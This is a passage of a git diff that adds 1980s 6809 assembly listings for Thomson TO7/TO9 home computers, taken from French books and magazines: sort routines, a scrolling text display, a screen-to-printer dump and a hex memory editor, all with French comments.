+ LDA <$CA
+ ANDA #$C4
+ STA <$CA
+ LDA <$C8
+ LDY #$0000
+ LDB #$1E
+TEMPO LEAY -1,Y
+ BNE TOMI4
+ DECB
+ BEQ TOMI11
+ LDY #$0000
+TOMI4 LDA <$CA
+ BITA #$40
+ BEQ TEMPO
+ ANDCC #$FE
+ LDX #$0013
+TOMI5 LEAX -1,X
+ BNE TOMI5
+TOMI6 BCC TOMI8
+ BSR TOMI13
+ BCS TOMI7
+ RORB
+ ANDCC #$FE
+ BRA TOMI10
+TOMI7 RORB
+ ORCC #$01
+ BRA TOMI10
+TOMI8 BSR TOMI15
+ BCC TOMI9
+ RORB
+ ORCC #$01
+ BRA TOMI10
+TOMI9 RORB
+ ANDCC #$FE
+ BRA TOMI10
+TOMI10 DEC ,S
+ BNE TOMI6
+ ANDB #$7F
+ BRA TOMI12
+TOMI11 LDB #$00
+TOMI12 STB ,U+
+ CMPU #$E000
+ BNE TOMI3
+ INC $E7E5
+ LDA $E7E5
+ CMPA #$10 ou $20 si 512Ko
+ BLO TOMI2
+SORTIE STU FIN
+ LDA $E7E5
+ STA FIN+2
+ PULS A
+ PULS CC,A,B,DP,X,Y,U,PC
+
+TOMI13 LDA <$CA
+ ANDA #$C4
+ STA <$CA
+ LDA <$C8
+ BSR TEMPO1
+ LDA <$CA
+ ANDA #$40
+ BNE TOMI16
+TOMI14 ORCC #$01
+ RTS
+TOMI15 LDA <$CA
+ ORA #$10
+ STA <$CA
+ LDA <$C8
+ BSR TEMPO1
+ LDA <$CA
+ ANDA #$40
+ BNE TOMI14
+TOMI16 ANDCC #$FE
+ RTS
+TEMPO1 LDX #$005E
+TEMPO2 LEAX -1,X
+ BNE TEMPO2
+ RTS
+
+ END
diff --git a/code/3rdparty/sources4-divers/TRI1.ASM b/code/3rdparty/sources4-divers/TRI1.ASM
new file mode 100644
index 0000000..0c5cc10
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI1.ASM
@@ -0,0 +1,59 @@
+*
+* TRI1.ASM
+*
+* Passez facilement du BASIC au
+* langage machine des TO7(70),TO9
+* Programme No XXX pages 220-221
+*
+* =====================================
+*
+* Tri par la méthode de RIPPLE avec
+* flag de terminaison,et contrôle du
+* résultat.
+*
+ ORG $7900
+ PSHS U,Y,X,DP,D,CC
+ SETDP $79
+ LDA #$79
+ TFR A,DP
+ LDY #DON
+ LDX #TABLE
+DEBUT LDD ,X++
+ CMPD #4
+ BEQ SUITE
+ STD ,Y++
+ BRA DEBUT
+SUITE LDX #DON+16
+ STX <COMP
+D1 LDX #DON
+D2 LDD ,X++
+ CMPD ,X++
+ BHI SUITE2
+ BSR SWAP
+SUITE2 CMPX <COMP
+ BEQ D3
+ LEAX -2,X
+ BRA D2
+D3 TST <FLAG
+ BEQ FIN
+ CLR <FLAG
+ LDU <COMP
+ LEAU -2,U
+ CMPU #DON+2
+ BEQ FIN
+ STU <COMP
+ BRA D1
+SWAP INC <FLAG
+ LDY ,--X
+ STY ,--X
+ LEAX 2,X
+ STD ,X++
+ RTS
+FIN PULS CC,D,DP,X,Y,U
+ SWI
+TABLE FDB 12,265,34543,1467,3567
+ FDB 64321,45678,46,$4
+COMP FDB 0000
+FLAG FCB 00
+DON EQU *
+ END
diff --git a/code/3rdparty/sources4-divers/TRI2.ASM b/code/3rdparty/sources4-divers/TRI2.ASM
new file mode 100644
index 0000000..e61ec1b
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI2.ASM
@@ -0,0 +1,87 @@
+
+
+
+****************************************
+* *
+* T R I 2 *
+* *
+****************************************
+* *
+* Programme de tri en mémoire centrale *
+* appel par le BASIC par USR(0) *
+*--------------------------------------*
+* *
+* Programmation en assembleur TO7 *
+* Sybex Fagot-Barraly *
+* Annexe 2 page 165
+* *
+****************************************
+
+
+ ORG $7FBD
+
+ LDA #100 Nb d'éléments à
+ LDB #100 trier = 100 seront
+* contenus dans les accumulateurs A et B
+
+ LDY 2,X Le paramètre trans
+* mis au langage machine est placé dans
+* les 2 octets après l'adresse contenue
+* dans X.Y va contenir VARPTR(A(0)).Le
+* programme démarre avec Y pointant sur
+* le 1er élément A(0) du tableau A(I).
+
+SUITE2 PSHS D Sauvegarde de D
+
+ LEAX 2,Y On commande à X de
+* pointer sur le 2ème élément du tableau
+* soit A(1), noter que les entiers sont
+* rangés en mémoire sur 2 octets.
+
+SUITE1 DEC ,S Décrémente l'octet
+* au sommet de la pile.Celui-ci équivaut
+* au nombre de passages dans la boucle
+* SUITE1.
+
+ BEQ PASSE (+21)On compare le
+ LDD ,X++ 2nd élem. de A(I)
+* pointé par X et le
+ CMPD ,Y 1er (pointé par Y)
+ BHS SUITE1 (-11)Oui si le 2nd
+* > ou = au 1er alors retour à SUITE1
+* pour comparer le 3ème et le 1er.
+
+ PSHS D Si non (2nd<1er)
+ LDD ,Y on procède à leur
+ STD ,--X échange.Nous avons
+ PULS D la certitude à la
+ STD ,Y fin de la boucle
+ LEAX 2,X SUITE1 que A(0)
+ BRA SUITE1 (-25)est l'élément
+* minimum de A(I).
+
+PASSE LEAY 2,Y Y va contenir l'
+ PULS D adresse de A(1) et
+ DECB un retour à SUITE2
+ TFR B,A est programmé.Pour
+ CMPB #1 comparer A(1) avec
+ BNE SUITE2 (-40)les éléments
+* suivants; un échange sera effectué à
+* chaque fois que l'on aura trouvé un
+* élément plus petit que A(1).
+
+ RTS
+ END
+
+* Ainsi après deux passages de la boucle
+* SUITE2, A(0) et A(1) contiendront les
+* deux plus petites valeurs de A(I), et
+* ceci dans l'ordre croissant.
+* Quand le programme arrivera à la fin,
+* les 100 éléments seront rangés et la
+* ligne BASIC 60 nous en donnera la
+* confirmation.
+* NB: La variable Z est une var. fictive
+* dont la valeur est sans importance
+* puisque l'assembleur n'a aucun para-
+* mètre à retourner au BASIC.
diff --git a/code/3rdparty/sources4-divers/TRI2EXG.ASM b/code/3rdparty/sources4-divers/TRI2EXG.ASM
new file mode 100644
index 0000000..a450cf9
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TRI2EXG.ASM
@@ -0,0 +1,86 @@
+
+
+
+****************************************
+* *
+* T R I 2 EXG *
+* *
+****************************************
+* *
+* Programme de tri en mémoire centrale *
+* appel par le BASIC par USR(0) *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 165 *
+* *
+****************************************
+
+
+ ORG $7FBD
+
+ LDA #100 Nb d'éléments à
+ LDB #100 trier = 100 seront
+* contenus dans les accumulateurs A et B
+
+ LDY 2,X Le paramètre trans
+* mis au langage machine est placé dans
+* les 2 octets après l'adresse contenue
+* dans X.Y va contenir VARPTR(A(0)).Le
+* programme démarre avec Y pointant sur
+* le 1er élément A(0) du tableau A(I).
+
+SUITE2 PSHS D Sauvegarde de D
+
+ LEAX 2,Y On commande à X de
+* pointer sur le 2ème élément du tableau
+* soit A(1), noter que les entiers sont
+* rangés en mémoire sur 2 octets.
+
+SUITE1 DEC ,S Décrémente l'octet
+* au sommet de la pile.Celui-ci équivaut
+* au nombre de passages dans la boucle
+* SUITE1.
+
+ BEQ PASSE (+21)On compare le
+ LDD ,X++ 2nd élem. de A(I)
+* pointé par X et le
+ CMPD ,Y 1er (pointé par Y)
+ BHS SUITE1 (-11)Oui si le 2nd
+* > ou = au 1er alors retour à SUITE1
+* pour comparer le 3ème et le 1er.
+
+ PSHS D Si non (2nd<1er)
+ LDD ,Y on procède à leur
+ STD ,--X échange.Nous avons
+ PULS D la certitude à la
+ STD ,Y fin de la boucle
+ LEAX 2,X SUITE1 que A(0)
+ BRA SUITE1 (-25)est l'élément
+* minimum de A(I).
+
+PASSE LEAY 2,Y Y va contenir l'
+ PULS D adresse de A(1) et
+ DECB un retour à SUITE2
+ EXG B,A est programmé.Pour
+ CMPB #1 comparer A(1) avec
+ BNE SUITE2 (-40)les éléments
+* suivants; un échange sera effectué à
+* chaque fois que l'on aura trouvé un
+* élément plus petit que A(1).
+
+ RTS
+ END
+
+* Ainsi après deux passages de la boucle
+* SUITE2, A(0) et A(1) contiendront les
+* deux plus petites valeurs de A(I), et
+* ceci dans l'ordre croissant.
+* Quand le programme arrivera à la fin,
+* les 100 éléments seront rangés et la
+* ligne BASIC 60 nous en donnera la
+* confirmation.
+* NB: La variable Z est une var. fictive
+* dont la valeur est sans importance
+* puisque l'assembleur n'a aucun para-
+* mètre à retourner au BASIC.
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM
new file mode 100644
index 0000000..fa0bd76
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE.ASM
@@ -0,0 +1,99 @@
+*
+* ANNONCE (c) THEOPHILE J. ELTABET
+* No 5 page 45 juin 1984
+*
+ ORG $7000
+AFF EQU $E803
+CLAV EQU $E806
+US EQU 1FH
+ESC EQU 1BH
+*
+* DEBUT
+*
+ LDX 1,X RECUP AD TEXTE
+ STX ADTXT
+ STB LTXT
+ LDX #ATT11 EN GROSSES LETTRES
+ BSR EDM
+DEB CLR I
+A0 LDX #POSI
+ BSR EDM
+ LDA I CTRL AFF TXT
+ INCA
+ STA I
+ CMPA LTXT FIN D'UN TOUR ?
+ BHI A9
+*
+* DELAI ATTENTE
+*
+ LDY #3000
+ATT LEAY -1,Y
+ BNE ATT
+ LDA I
+ CMPA #19 SI L<19 ALORS A1
+ BMI A1
+*
+* CAS DU MESSAGE > 19
+*
+ LDA I CALCUL ADR DEBUT
+ SUBA #18 DU TEXTE
+ LDX ADTXT
+A7 LEAX 1,X
+ DECA
+ BNE A7
+ LDA #19 ET AFFICHAGE
+A2 LDB 0,X 19 CAR
+ JSR AFF
+ LEAX 1,X
+ DECA
+ BNE A2
+ BRA A0
+*
+* CAS DU MESSAGE < 19 CAR
+*
+A1 LDA #19 AFF DES . AVANT
+ SUBA I
+ LDB #'.
+A4 JSR AFF
+ DECA
+ BNE A4
+ LDX ADTXT
+ LDA #1 AFFICHAGE DES I
+A6 CMPA I PREMIERS CAR
+ BHI A0
+ LDB 0,X
+ JSR AFF
+ LEAX 1,X
+ INCA
+ BRA A6
+*
+* AUTRE TOUR ?
+*
+A9 JSR CLAV
+ TSTB
+ BEQ DEB
+*
+* FINAL
+*
+FIN LDX #ATT00 ON REVIENT
+ BSR EDM EN LETTRES NORM
+ RTS
+*
+* AFFICHAGE MESSAGE
+*
+EDM LDB 0,X
+ BEQ FEDM
+ JSR AFF
+ LEAX 1,X
+ BRA EDM
+FEDM RTS
+*
+* DEFINITION DE ZONES
+*
+POSI FCB US,40H+23,40H+1,0
+ATT11 FCB ESC,4FH,0
+ATT00 FCB ESC,4CH,0
+LTXT FCB 0
+I FCB 0
+ADTXT FCB 00
+ END
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM
new file mode 100644
index 0000000..9dba3cd
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE2.ASM
@@ -0,0 +1,99 @@
+*
+* ANNONCE2 (c) THEOPHILE J. ELTABET
+* No 5 page 45 juin 1984
+*
+ ORG $A000
+AFF EQU $E803
+CLAV EQU $E806
+US EQU 1FH
+ESC EQU 1BH
+*
+* DEBUT
+*
+ LDX 1,X RECUP AD TEXTE
+ STX ADTXT
+ STB LTXT
+ LDX #ATT11 EN GROSSES LETTRES
+ BSR EDM
+DEB CLR I
+A0 LDX #POSI
+ BSR EDM
+ LDA I CTRL AFF TXT
+ INCA
+ STA I
+ CMPA LTXT FIN D'UN TOUR ?
+ BHI A9
+*
+* DELAI ATTENTE
+*
+ LDY #3000
+ATT LEAY -1,Y
+ BNE ATT
+ LDA I
+ CMPA #19 SI L<19 ALORS A1
+ BMI A1
+*
+* CAS DU MESSAGE > 19
+*
+ LDA I CALCUL ADR DEBUT
+ SUBA #18 DU TEXTE
+ LDX ADTXT
+A7 LEAX 1,X
+ DECA
+ BNE A7
+ LDA #19 ET AFFICHAGE
+A2 LDB 0,X 19 CAR
+ JSR AFF
+ LEAX 1,X
+ DECA
+ BNE A2
+ BRA A0
+*
+* CAS DU MESSAGE < 19 CAR
+*
+A1 LDA #19 AFF DES . AVANT
+ SUBA I
+ LDB #'.
+A4 JSR AFF
+ DECA
+ BNE A4
+ LDX ADTXT
+ LDA #1 AFFICHAGE DES I
+A6 CMPA I PREMIERS CAR
+ BHI A0
+ LDB 0,X
+ JSR AFF
+ LEAX 1,X
+ INCA
+ BRA A6
+*
+* AUTRE TOUR ?
+*
+A9 JSR CLAV
+ TSTB
+ BEQ DEB
+*
+* FINAL
+*
+FIN LDX #ATT00 ON REVIENT
+ BSR EDM EN LETTRES NORM
+ RTS
+*
+* AFFICHAGE MESSAGE
+*
+EDM LDB 0,X
+ BEQ FEDM
+ JSR AFF
+ LEAX 1,X
+ BRA EDM
+FEDM RTS
+*
+* DEFINITION DE ZONES
+*
+POSI FCB US,40H+23,40H+1,0
+ATT11 FCB ESC,4FH,0
+ATT00 FCB ESC,4CH,0
+LTXT FCB 0
+I FCB 0
+ADTXT FCB 00
+ END
diff --git a/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM b/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM
new file mode 100644
index 0000000..7a67917
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/ANNONCE4.ASM
@@ -0,0 +1,99 @@
+*
+* ANNONCE4 (c) THEOPHILE J. ELTABET
+* No 5 page 45 juin 1984
+*
+ ORG $B000
+AFF EQU $E803
+CLAV EQU $E806
+US EQU 1FH
+ESC EQU 1BH
+*
+* DEBUT
+*
+ LDX 1,X RECUP AD TEXTE
+ STX ADTXT
+ STB LTXT
+ LDX #ATT11 EN GROSSES LETTRES
+ BSR EDM
+DEB CLR I
+A0 LDX #POSI
+ BSR EDM
+ LDA I CTRL AFF TXT
+ INCA
+ STA I
+ CMPA LTXT FIN D'UN TOUR ?
+ BHI A9
+*
+* DELAI ATTENTE
+*
+ LDY #3000
+ATT LEAY -1,Y
+ BNE ATT
+ LDA I
+ CMPA #19 SI L<19 ALORS A1
+ BMI A1
+*
+* CAS DU MESSAGE > 19
+*
+ LDA I CALCUL ADR DEBUT
+ SUBA #18 DU TEXTE
+ LDX ADTXT
+A7 LEAX 1,X
+ DECA
+ BNE A7
+ LDA #19 ET AFFICHAGE
+A2 LDB 0,X 19 CAR
+ JSR AFF
+ LEAX 1,X
+ DECA
+ BNE A2
+ BRA A0
+*
+* CAS DU MESSAGE < 19 CAR
+*
+A1 LDA #19 AFF DES . AVANT
+ SUBA I
+ LDB #'.
+A4 JSR AFF
+ DECA
+ BNE A4
+ LDX ADTXT
+ LDA #1 AFFICHAGE DES I
+A6 CMPA I PREMIERS CAR
+ BHI A0
+ LDB 0,X
+ JSR AFF
+ LEAX 1,X
+ INCA
+ BRA A6
+*
+* AUTRE TOUR ?
+*
+A9 JSR CLAV
+ TSTB
+ BEQ DEB
+*
+* FINAL
+*
+FIN LDX #ATT00 ON REVIENT
+ BSR EDM EN LETTRES NORM
+ RTS
+*
+* AFFICHAGE MESSAGE
+*
+EDM LDB 0,X
+ BEQ FEDM
+ JSR AFF
+ LEAX 1,X
+ BRA EDM
+FEDM RTS
+*
+* DEFINITION DE ZONES
+*
+POSI FCB US,40H+23,40H+1,0
+ATT11 FCB ESC,4FH,0
+ATT00 FCB ESC,4CH,0
+LTXT FCB 0
+I FCB 0
+ADTXT FCB 00
+ END
diff --git a/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM b/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM
new file mode 100644
index 0000000..c33751e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/FLIPTITR.ASM
@@ -0,0 +1,47 @@
+*
+* FLIPTITRE (C) TEO 1986
+* No 1 page 19
+*
+DEBUT EQU $C000
+GETC EQU $E806
+PRC EQU $E7C3
+STAD EQU $4000
+ ORG DEBUT
+* PASSAGE EN MEMOIRE FORME
+ LDB PRC FORCE MEMOIRE
+ ORB #1 FORME
+ STB PRC
+* COORDONNEES DEPART
+ENC1 LDB #16 2 LIGNES
+ PSHS B
+ENC LDX #STAD+16*40 FIN DES 2 LI
+ LDA #40 SAUVE LES 40
+P1 LDB ,-X DERNIERS GPL
+ PSHS B
+ DECA
+ BNE P1
+ LDY #16*40 NB TOTAL DE GPL
+P2 LDB ,-X 1 GPL
+ STB 40,X AFFICHE UNE LIGNE
+ BSR TEMPO
+ LEAY -1,Y + BAS
+ BNE P2
+ LDX #STAD AFFICHE 1ERE
+ LDA #40 LIGNE
+P3 PULS B
+ STB ,X+
+ DECA
+ BNE P3
+ DEC ,S 2 LIGNES ?
+ BNE ENC
+ PULS B
+ JSR GETC UNE TOUCHE
+ TSTB A ETE FRAPPEE ?
+ BEQ ENC1 NON
+ RTS OUI RETOUR BASIC
+TEMPO PSHS A
+ LDA #12
+T1 DECA
+ BNE T1
+ PULS A,PC
+ END DEBUT
diff --git a/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM b/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM
new file mode 100644
index 0000000..d105ac7
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Theophile/PAYSAGE2.ASM
@@ -0,0 +1,194 @@
+*
+* PAYSAGE2.ASM
+*
+* Théophile No 9 page 48
+*
+* Voir également PAYSAGE1
+* Passez facilement du BASIC au
+* langage machine des TO7(70),TO9
+* Programme No XXIX pages 203-215
+*
+* =====================================
+*
+* Recopie d'écran en double dimensions
+* sur imprimante PR90-080.
+*
+
+GRCODE EQU $6047 Imp mode graphique
+RSOPC EQU $602B Mot cde gest. com.
+RSCO EQU $E812 Gère E/S communiq.
+RSTA EQU $602C Etat ct liais. com
+GETP EQU $E821 Lect. statut point
+PORT EQU $E7C3
+KTST EQU $E809 Lecture clavier
+PUTC EQU $E803 Affich d'1 caract.
+
+ ORG $7EDE
+
+COPIE PSHS U,Y,X,DP,D,CC
+
+OUVRIR LDB #$40 Ouverture// Ecrit.
+ STB RSOPC
+ JSR RSCO
+ LBCS ARRET
+ LDA PORT Mémoire-caractère
+ ORA #1
+ STA PORT
+ LDA #8 .Code copie graph.
+ STA RSOPC .Imp.PR90-080+Mise
+ LDB #8 .en écriture
+ JSR RSCO
+ LBCS ARRET
+
+CURSOR LDB #$14 Effacement curseur
+ JSR PUTC
+
+INIT LDX #320 Le premier point
+* d'analyse sera:
+PREM LDY #0 X=319,Y=0
+
+****************************************
+*La première colonne ne fait que 2 pts *
+*en largeur.Son traitement est de type *
+*DROIT (le bit de gauche ne sera double*
+*qu'à l'impression de la ligne suivante*
+*Pour cela on n'utilise qu'une partie *
+*de DMASQ appelée INIMSK. *
+****************************************
+
+LIGN CLRA 1ère colonne adr.
+ LDU #INIMSK 1er masque
+
+POINT LEAX -1,X Décrémente X lire
+ JSR GETP coul du pt (X,Y)
+ CMPB #0 si coul=FOND si
+ BMI SUIV coul=FORME on uili
+ ORA ,U se le masque.
+
+SUIV LDB ,U+ Masque suivant est
+ CMPB #$80 -ce le dernier ?
+ BLO POINT non=>point suivant
+ ORA -1,U oui=>masquer 1->b7
+
+IMPR EXG A,B L'octet à écrire
+* passe dans B
+ JSR RSCO 1ère écriture
+ LBCS ARRET
+ JSR RSCO 2ème écriture
+ LBCS ARRET
+ LEAY 1,Y Y suivant...
+ CMPY #200 Bas de l'écran ?
+ BEQ CRLF
+ LEAX 3,X Imp ligne X=X+3
+ BRA LIGN passer à la ligne
+* Y+1
+
+CRLF LDB #$0D CR=Retour chariot
+ JSR RSCO
+ LBCS ARRET
+ LDB #$0A LF=Saut de ligne
+ JSR RSCO
+ LBCS ARRET
+ LEAX 2,X
+ BRA GAUCHE
+
+DROIT LDY #0 TRAIT. TYPE DROIT
+
+DLIGN CLRA
+ LDU #DMASQ Adresse 1er masque
+
+DPOINT LEAX -1,X Décrémente X lire
+ JSR GETP couleur du point
+ CMPB #0 (X,Y),si coul=fond
+ BMI DSUIV si coul=forme on
+ ORA ,U utilise le masque.
+
+DSUIV LDB ,U+ Masque suivant est
+ CMPB #$80 -ce le dernier ?
+ BLO DPOINT non=>point suivant
+ ORA -1,U oui=>masquer 1->b7
+
+DIMPR EXG A,B L'octet à écrire
+* passe dans B
+
+ JSR RSCO 1ère écriture
+ BCS ARRET
+ JSR RSCO 2ème écriture
+ BCS ARRET
+ LEAY 1,Y Y suivant...
+ CMPY #200 Bas de l'écran ?
+ BEQ DCRLF Oui=>Imp la ligne
+ LEAX 5,X X=X+5
+ BRA DLIGN Passer à la ligne
+* Y+1
+
+DCRLF LDB #$0D Retour chariot
+ JSR RSCO
+ BCS ARRET
+ LDB #$0A Saut de ligne
+ JSR RSCO
+ BCS ARRET
+ LEAX 2,X
+
+GAUCHE LDY #0 TRAIT. TYPE GAUCHE
+
+GLIGN CLRA
+ LDU #GMASQ
+
+GPOINT LEAX -1,X
+ JSR GETP
+ CMPB #0
+ BMI GSUIV
+ ORA ,U
+
+GSUIV LDB ,U+
+ CMPB #$80
+ BLO GPOINT
+ ORA -1,U
+
+GIMPR EXG A,B
+ JSR RSCO
+ BCS ARRET
+ JSR RSCO
+ BCS ARRET
+ LEAY 1,Y
+ CMPY #200
+ BEQ GCRLF
+ LEAX 5,X
+ BRA GLIGN
+
+GCRLF LDB #$0D CR=Retour chariot
+ JSR RSCO
+ BCS ARRET
+ LDB #$0A LF=Saut de ligne
+ JSR RSCO
+ BCS ARRET
+ JSR KTST Arret imp si une
+ BCS ARRET touche actionnée
+ LEAX 1,X
+ BEQ ARRET
+ LBRA DROIT
+
+ARRET LDB #$F Retour en mode
+ JSR RSCO caractère
+ LDA #16 Fermeture imp
+ STA RSOPC
+ JSR RSCO
+ PULS X,Y,U,D,DP,CC,PC
+
+*Masques pour traitement DROIT:
+
+DMASQ FCB 3 00000011
+ FCB 0CH 00001100
+INIMSK FCB 30H 00110000
+ FCB 40H 01000000
+ FCB 80H 10000000 bit Graph
+
+*Masques pour traitement GAUCHE:
+
+GMASQ FCB 1 00000001
+ FCB 6 00000110
+ FCB 18H 00011000
+ FCB 60H 01100000
+ FCB 80H 10000000 bit Graph
+ END
diff --git a/code/3rdparty/sources4-divers/VIDEO.ASM b/code/3rdparty/sources4-divers/VIDEO.ASM
new file mode 100644
index 0000000..5336ce8
--- /dev/null
+++ b/code/3rdparty/sources4-divers/VIDEO.ASM
@@ -0,0 +1,395 @@
+*VIDEOTEXT
+
+
+*EDITEUR
+
+COMPTX EQU $9800
+COMPTY EQU $9801
+LX EQU $9802
+LY EQU $9803
+
+ ORG $9000
+
+DEBUT PSHS A,B,CC,DP,X,Y,U
+G LDB #$11
+ JSR $E803
+ LDD #$0600
+ STD LX
+B0 LDY #$A000
+BOUCLE CMPY #$A000
+ BLO B0
+ CMPY #$DF80
+ BLO B1
+ LDY #$DF78
+B1 TFR Y,X
+ LBSR AFFICH
+CURSOR LDD LX
+ LBSR LOCATE
+*KTST JSR $E809
+* BCC KTST
+GETC JSR $E806
+ BCC GETC
+ANAL LDA LX
+ LDU #TABLIN
+KEY8 CMPB #8
+ BNE KEY9
+KEY81 DECA
+ CMPA #6
+ BLO KEY82
+ TST A,U
+ BEQ KEY81
+ BRA POSCUR
+KEY82 LDA #39
+ BRA POSCUR
+KEY9 CMPB #9
+ BNE KEY10
+KEY91 INCA
+ CMPA #38
+ BHI KEY92
+ TST A,U
+ BEQ KEY91
+ BRA POSCUR
+KEY92 LDA #6
+POSCUR STA LX
+ BRA CURSOR
+KEY10 CMPB #10
+ BNE KEY11
+KEY101 INC LY
+ LDA LY
+ CMPA #25
+ BLO CURSOR
+ DEC LY
+ LBRA SCRHAU
+KEY11 CMPB #11
+ BNE AUTRE
+KEY111 DEC LY
+ BPL CURSOR
+ INC LY
+ LBRA SCRBAS
+AUTRE CMPB #153
+ LBEQ K
+ CMPB #32
+ BLO GETC
+ CMPB #127
+ BHI GETC
+ TST A,U
+ BPL MODIF
+ CMPB #$30
+ BLO GETC
+ CMPB #$3A
+ BLO MODIF
+ ANDB #$DF
+ CMPB #$41
+ BLO GETC
+ CMPB #$46
+ BHI GETC
+MODIF TST A,U
+ BMI CODHEX
+ PSHS B
+ SUBA #31
+ LEAX A,Y
+ LDA LY
+ LDB #8
+ MUL
+ LEAX D,X
+ PULS A
+ BRA ECRIT
+CODHEX SUBB #$30
+ CMPB #10
+ BLO COD0
+ SUBB #7
+COD0 PSHS B
+ LDB A,U
+ ANDB #$0F
+ PSHS B
+ LSRB
+ LEAX B,Y
+ LDA LY
+ LDB #8
+ MUL
+ LEAX D,X
+ PULS A
+ BITA #1
+ BEQ GAUCHE
+ PULS B
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ TFR B,A
+ BRA ECRIT
+GAUCHE PULS A
+ LDB ,X
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ TFR B,A
+ECRIT STA ,X
+ STX $9900
+ LDB #9
+ LDA LY
+ LDB #8
+ MUL
+ LEAX D,Y
+ LDA LY
+ BSR AFFLI
+ LDA LX
+ CMPA #38
+ BNE NOR1
+ LDA #31
+ BRA NOR2
+NOR1 CMPA #28
+ BNE NOR3
+ LDA #6
+NOR2 STA LX
+ LBRA KEY101
+NOR3 LBRA KEY91
+
+K NOP
+
+
+****AFFICHAGE D'UNE PAGE DEPUIS X ****
+
+AFFICH LDA #25
+ STA COMPTY
+NLIGNE BSR LIGNE
+ DEC COMPTY
+ BNE NLIGNE
+ RTS
+
+**** affichage de la ligne no A
+
+AFFLI NEGA
+ ADDA #25
+ STA COMPTY
+
+**** affichage d'une ligne
+
+LIGNE LDA #8
+ STA COMPTX
+ LDB COMPTY
+ NEGB
+ ADDB #25
+ CLRA
+ BSR LOCATE
+ BSR HEXA4
+ BSR SPACE
+ BSR SPACE
+HEXA LDA ,X+
+ BSR HEXA2
+ BSR SPACE
+ DEC COMPTX
+ BNE HEXA
+ LEAX -8,X
+ LDA #8
+ STA COMPTX
+ BSR SPACE
+ASCII LDB ,X+
+ CMPB #$20
+ BLO POINT
+ CMPB #$80
+ BLO PRINT
+POINT LDB #$2E
+PRINT JSR $E803
+ DEC COMPTX
+ BNE ASCII
+ RTS
+
+****LOCATE A,B
+
+LOCATE PSHS A
+ PSHS B
+ LDB #$1F
+ JSR $E803
+ PULS B
+ ADDB #$40
+ JSR $E803
+ PULS B
+ ADDB #$41
+ JMP $E803
+
+****HEXA4 AFF. DU NBRE X DE 4 CH.EN HEXA
+
+HEXA4 TFR X,D
+ PSHS B
+ BSR HEXA2
+ PULS A
+
+****HEXA2 AFF. DU NBRE A DE 2 CH.EN HEXA
+
+HEXA2 TFR A,B
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ CMPB #10
+ BLO HEXA21
+ ADDB #7
+HEXA21 ADDB #$30
+ JSR $E803
+ TFR A,B
+ ANDB #$0F
+ CMPB #10
+ BLO HEXA22
+ ADDB #7
+HEXA22 ADDB #$30
+ JMP $E803
+
+**** SPACE: AFF. DE A ESPACES
+
+SPACE LDB #$20
+ JMP $E803
+
+**** scroll haut
+
+SCRHAU PSHS X,Y,U
+ LDB #$14
+ JSR $E803
+ LDX #$4140
+ LDY #$4000
+ LDA #192
+SH0 LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ LDU ,X++
+ STU ,Y++
+ DECA
+ BNE SH0
+ LDB #$11
+ JSR $E803
+ PULS X,Y,U
+ LDA #24
+ LEAY 8,Y
+ LEAX 192,Y
+ LBSR AFFLI
+ LBRA CURSOR
+
+**** scroll bas
+
+SCRBAS PSHS X,Y,U
+ LDB #$14
+ JSR $E803
+ LDX #$5E00
+ LDY #$5F40
+ LDA #192
+SB0 LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ LDU ,--X
+ STU ,--Y
+ DECA
+ BNE SB0
+ LDB #$11
+ JSR $E803
+ PULS X,Y,U
+ CLRA
+ LEAY -8,Y
+ TFR Y,X
+ LBSR AFFLI
+ LBRA CURSOR
+
+
+
+
+
+
+
